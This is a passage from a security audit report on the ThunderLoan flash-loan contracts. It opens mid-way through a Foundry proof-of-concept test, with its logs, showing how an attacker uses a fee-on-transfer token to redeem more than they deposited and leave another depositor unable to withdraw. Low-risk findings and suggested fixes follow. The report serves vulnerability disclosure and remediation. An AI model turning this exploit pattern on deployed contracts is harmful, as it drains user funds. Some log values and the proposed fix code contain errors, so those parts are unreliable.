27         /// First deposit in contract by attacker
28         thunderLoan.deposit(tokenA, ATTACKER_AMOUNT);
29         vm.stopPrank();
30         AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
31         uint256 contractBalanceAfterAttackerDeposit = tokenA.balanceOf(
               address(asset));
32         uint256 difference = ATTACKER_AMOUNT -
               contractBalanceAfterAttackerDeposit;
33         uint256 attackerAssetTokenBalance = asset.balanceOf(attacker);
```

```
34          console2.log(contractBalanceAfterAttackerDeposit, "Contract
               balance of token A after first deposit");
35          console2.log(attackerAssetTokenBalance, "attacker balance of
               asset token");
36          console2.log(difference, "difference b/w actual amount and
               deposited amount");
37
38
39          vm.startPrank(alice);
40          tokenA.approve(address(thunderLoan), ALICE_AMOUNT);
41          thunderLoan.deposit(tokenA, ALICE_AMOUNT);
42          vm.stopPrank();
43          uint256 actualAmountDepositedByUser = tokenA.balanceOf(address(
               asset)) - contractBalanceAfterAttackerDeposit;
44          console2.log(ALICE_AMOUNT, "Actual input by alice");
45          console2.log(actualAmountDepositedByUser, "Actual balance
               Deposited by Alice");
46          console2.log(tokenA.balanceOf(address(asset)), "thunderloan
               balance of Token A after Alice deposit");
47          console2.log(asset.balanceOf(alice), "Alice Asset Token Balance
               ");
48
49          vm.startPrank(attacker);
50          thunderLoan.redeem(tokenA, asset.balanceOf(attacker));
51          console2.log(tokenA.balanceOf(attacker), "AttackerBalance"); //
                how much token he claimed
52          vm.stopPrank();
53
54          /// if alice try to claim her underlying tokens now, tx will
               fail as contract
55          /// don't have enough funds
56
57          vm.startPrank(alice);
58          uint256 amountToClaim = asset.balanceOf(alice);
59          vm.expectRevert();
60          thunderLoan.redeem(tokenA, amountToClaim);
61          vm.stopPrank();
62
63      }
64  }
```

run the following command in terminal `forge test --match-test testAttackerGettingMoreTokens()-vv` it will return something like this-

```
1  [Loading...] Compiling...
2  [Loading...] Compiling 1 files with 0.8.20
3  [Loading...] Solc 0.8.20 finished in 1.94s
4  Compiler run successful!
5
6  Running 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
7  [PASS] testAttackerGettingMoreTokens() (gas: 1265386)
```

```
Logs:
  198000000000000000000000000 Contract balance of token A after first
     deposit
  200000000000000000000000000 attacker balance of asset token
  200000000000000000000000 difference b/w actual amount and deposited
     amount
  100000000000000000000000000 Actual input by alice
  990000000000000000000000000 Actual balance Deposited by Alice
  297000000000000000000000000 thunderloan balance of Token A after Alice
      deposit
  99700897308075772681954l3 Alice Asset Token Balance
  19879279219760479041600000 AttackerBalance
```

Impact

Loss of user funds ## Tools Used Manual Review, Foundry ## Recommendations Either Do not use fee tokens or implement correct accounting by checking the received balance and use that value for calculation.

```
uint256 amountBefore = IERC20(token).balanceOf(address(this));
token.safeTransferFrom(msg.sender, address(assetToken), amount);
uint256 amountAfter = IERC20(token).balanceOf(address(this));
uint256 amount = AmountAfter - amountBefore;
```

deposit function can be written like this.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
+       uint256 amountBefore = IERC20(token).balanceOf(address(this));
+       token.safeTransferFrom(msg.sender, address(assetToken), amount)
    ;
+       uint256 amountAfter = IERC20(token).balanceOf(address(this));
+       uint256 amount = AmountAfter - amountBefore;
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
        uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

Low Risk Findings

L-01. getCalculatedFee can be 0

Summary

getCalculatedFee can be as low as 0 ## Vulnerability Details Any value up to 333 for “amount” can result in 0 fee based on calculation

```
    function testFuzzGetCalculatedFee() public {
        AssetToken asset = thunderLoan.getAssetFromToken(tokenA);

        uint256 calculatedFee = thunderLoan.getCalculatedFee(
            tokenA,
            333
        );

        assertEq(calculatedFee ,0);

        console.log(calculatedFee);
    }
```

Impact

Low as this amount is really small ## Tools Used Foundry, Manual review ## Recommendations A minimum fee can be used to offset the calculation, though it is not that important.

L-02. updateFlashLoanFee() missing event

Summary

`ThunderLoan::updateFlashLoanFee()` and `ThunderLoanUpgraded::updateFlashLoanFee()` does not emit an event, so it is difficult to track changes in the value `s_flashLoanFee` off-chain.

Vulnerability Details

```
function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > FEE_PRECISION) {
            revert ThunderLoan__BadNewFee();
        }
```

```
5 @>          s_flashLoanFee = newFee;
6       }
```

Impact

In Ethereum, events are used to facilitate communication between smart contracts and their user interfaces or other off-chain services. When an event is emitted, it gets logged in the transaction receipt, and these logs can be monitored and reacted to by off-chain services or user interfaces.

Without a `FeeUpdated` event, any off-chain service or user interface that needs to know the current `s_flashLoanFee` would have to actively query the contract state to get the current value. This is less efficient than simply listening for the `FeeUpdated` event, and it can lead to delays in detecting changes to the `s_flashLoanFee`.

The impact of this could be significant because the `s_flashLoanFee` is used to calculate the cost of the flash loan. If the fee changes and an off-chain service or user is not aware of the change because they didn't query the contract state at the right time, they could end up paying a different fee than they expected.

Tools Used

Slither

Recommendations

Emit an event for critical parameter changes.

```
1 + event FeeUpdated(uint256 indexed newFee);
2
3   function updateFlashLoanFee(uint256 newFee) external onlyOwner {
4         if (newFee > s_feePrecision) {
5             revert ThunderLoan__BadNewFee();
6         }
7         s_flashLoanFee = newFee;
8 +        emit FeeUpdated(s_flashLoanFee);
9     }
```

L-03. Mathematic Operations Handled Without Precision in getCalculatedFee() Function in ThunderLoan.sol

Summary

In a manual review of the ThunderLoan.sol contract, it was discovered that the mathematical operations within the getCalculatedFee() function do not handle precision appropriately. Specifically, the calculations in this function could lead to precision loss when processing fees. This issue is of low priority but may impact the accuracy of fee calculations.

Vulnerability Details

The identified problem revolves around the handling of mathematical operations in the getCalculatedFee() function. The code snippet below is the source of concern:

```
1 uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))
     ) / s_feePrecision;
2 fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
```

The above code, as currently structured, may lead to precision loss during the fee calculation process, potentially causing accumulated fees to be lower than expected.

Impact

This issue is assessed as low impact. While the contract continues to operate correctly, the precision loss during fee calculations could affect the final fee amounts. This discrepancy may result in fees that are marginally different from the expected values.

Tools Used

Manual Review

Recommendations

To mitigate the risk of precision loss during fee calculations, it is recommended to handle mathematical operations differently within the getCalculatedFee() function. One of the following actions should be taken:

Change the order of operations to perform multiplication before division. This reordering can help maintain precision. Utilize a specialized library, such as math.sol, designed to handle mathematical operations without precision loss. By implementing one of these recommendations, the accuracy of fee calculations can be improved, ensuring that fees align more closely with expected values.